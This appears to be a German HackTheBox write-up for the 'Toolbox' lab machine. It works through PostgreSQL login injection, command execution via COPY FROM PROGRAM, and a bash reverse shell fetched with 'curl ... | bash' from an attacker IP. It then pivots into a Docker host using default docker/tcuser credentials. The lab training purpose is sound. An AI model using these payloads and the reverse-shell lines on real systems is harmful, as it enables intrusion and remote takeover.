> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md). # Toolbox HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * PostgreSQL-Injection (RCE) * Pivoting * Missbrauch von boot2docker (Docker-Toolbox) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren.

**Port- und Versionsscan mit Nmap:** Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

### **Port 21 (FTP)** Der FTP-Port ist mit dem Benutzer zugänglich `anonymous`. Es gibt eine Datei namens `docker-toolbox.exe`. Diese Datei könnte Hinweise auf einen möglichen Docker-Betrieb liefern. {% hint style="info" %} Docker-Toolbox ist eine Sammlung von Tools zur Verwaltung von Docker-Containern auf älteren oder nicht Docker-Desktop-Umgebungen. {% endhint %}

### **Port 443 (HTTPS)**

**Mögliche Benutzer:** * Christine Rooster * Brandon Sharp * Connor Hodson

Nach der Untersuchung bietet die gehostete Website ein Administrationspanel, das erreichbar ist über `admin.megalogistic.com`.

## Schwachstelle PostgreSQL-Injection: {% hint style="info" %} PostgreSQL ist ein leistungsstarkes, quelloffenes relationales Datenbankmanagementsystem, das selbst die komplexesten Datenlasten sicher bewältigen kann. {% endhint %} Beim Senden dieser Zugangsdaten: ```sql Benutzername: ' Passwort: ' ``` Es erscheint ein SQL-Fehler, der auf ein PostgreSQL-Backend hinweist, das `pg_query`.

### **Ausnutzung** Testen Sie einen klassischen Injektions-Payload: ```vbnet Benutzername: ' OR 1=1-- - Passwort: irgendetwas ``` Wir erhalten Zugriff auf das Dashboard-Adminpanel.

Fangen Sie Abfragen mit **Burp Suite** ab und nutzen Sie Ressourcen wie **HackTricks** um Injektionen anzupassen.

{% embed url="" %} #### Um zu testen, ob die Injektion die Ausführung von Befehlen erlaubt, verwenden Sie: `;select pg_sleep(10);-- -` Wenn sich die Antwort um 10 Sekunden verzögert, ist die Injektion verwendbar.

### **Befehlsausführung** Hier ist ein Beispiel, wie man einen Online-Befehl erhält: ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; ``` Erstellen Sie eine `index.html` Datei mit: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Starten Sie einen HTTP-Server: ```bash python3 -m http.server 80 ``` Konfigurieren Sie einen Listener: ```bash nc -nvlp 443 ``` Envoyez le payload : ```sql username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d ```

#### **Terminal-Stabilisierung** Um die Shell interaktiv und komfortabel zu machen: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilisiere die Shell für komfortableres Arbeiten. ## Rechteausweitung: ### Docker-Pivoting {% hint style="info" %} Während der Aufklärungsphase haben wir festgestellt, dass unsere Windows-Maschine nicht direkt erreichbar war. Wir konnten jedoch eine Windows-Maschine in einem Docker-Container erreichen, mit der IP-Adresse `172.17.0.2` und die `172.17.0.1` Gateway. Wir werden nun versuchen, über diesen Container zu pivotieren, um unsere Rechte zu erhöhen. {% endhint %}

### **Überprüfung des SSH-Ports** Zuerst müssen wir prüfen, ob der SSH-Port (22) auf dem Docker-Gateway (172.17.0.1) offen ist. Dafür verwenden wir einen einfachen Befehl: ```bash echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH offen" || echo "[-] SSH geschlossen" ``` Port 22 ist offen, was bedeutet, dass wir eine SSH-Verbindung zur Maschine im Container versuchen können.

#### **Mit den standardmäßigen Docker-Toolbox-Zugangsdaten anmelden** Die Standard-IDs für Docker Toolbox sind: * **Benutzer**: `docker` * **Passwort**: `tcuser` Wir versuchen nun, uns mit diesen Informationen per SSH mit dem Container zu verbinden. Sobald wir mit der Maschine verbunden sind, stellen wir fest, dass wir mit dem Benutzer Zugriff auf das Root-Verzeichnis des Containers haben `docker`.

#### **Erkundung des Dateisystems** Im Stammverzeichnis finden wir einen Ordner namens **c**, der einen Unterordner enthält **users**. In **users** gibt es einen **Desktop** Ordner, der dem Benutzer **Administrator**gehört. Dies könnte bedeuten, dass der Benutzer `docker` über ausreichende Rechte verfügt, um auf sensible Daten des Benutzers zuzugreifen **Administrator**, was ein guter Hinweis für eine Rechteausweitung ist.

### Flagge user.txt :) #### **Suche `user.txt` (User-Flag)** Wir werden nun nach der `user.txt` Datei suchen, die häufig verwendet wird, um den erfolgreichen Zugriff eines Benutzers auf eine Maschine zu markieren. Verwenden wir den folgenden Befehl, um nach dieser Datei im gesamten Dateisystem zu suchen: ```bash find / -name user.txt 2>/dev/null ```

Wir lokalisieren die **user.txt** Datei in einem zugänglichen Verzeichnis, was uns ein erstes Zeichen des Erfolgs bei unserer Operation gibt. ### Flag root.txt :) Sobald die User-Flag gefunden ist, suchen wir nach der **root.txt** Datei, die sich normalerweise im Benutzerverzeichnis befindet **Administrator**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.